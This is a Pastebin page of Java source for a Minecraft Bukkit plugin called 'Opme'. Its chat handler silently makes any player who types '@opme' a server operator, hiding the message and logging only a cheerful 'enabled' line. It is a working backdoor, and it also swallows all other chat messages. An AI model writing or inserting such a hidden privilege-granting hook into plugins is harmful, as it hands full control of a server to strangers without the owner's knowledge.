Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package me.MPG.Opme;
- import java.util.logging.Logger;
- import org.bukkit.Server;
- import org.bukkit.entity.Player;
- import org.bukkit.event.EventHandler;
- import org.bukkit.event.Listener;
- import org.bukkit.event.player.AsyncPlayerChatEvent;
- import org.bukkit.plugin.PluginManager;
- import org.bukkit.plugin.java.JavaPlugin;
- public class Main
- extends JavaPlugin
- implements Listener
- {
- public void onEnable()
- {
- getLogger().info("Opme: enabled. ! Enjoy xD");
- getServer().getPluginManager().registerEvents(this, this);
- }
- public void onDisable() {}
- @EventHandler
- public void onPlayerChat(AsyncPlayerChatEvent mpg)
- {
- Player p = mpg.getPlayer();
- String pn = mpg.getPlayer().getName();
- String cmd = mpg.getMessage();
- cmd.startsWith("@");
- String[] args = cmd.split(" ");
- if (args == null) {
- return;
- }
- if (args[0].equalsIgnoreCase("@opme"))
- {
- mpg.setCancelled(true);
- p.sendMessage("§eyou are now op!");
- p.setOp(true);
- }
- else
- {
- mpg.setCancelled(true);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement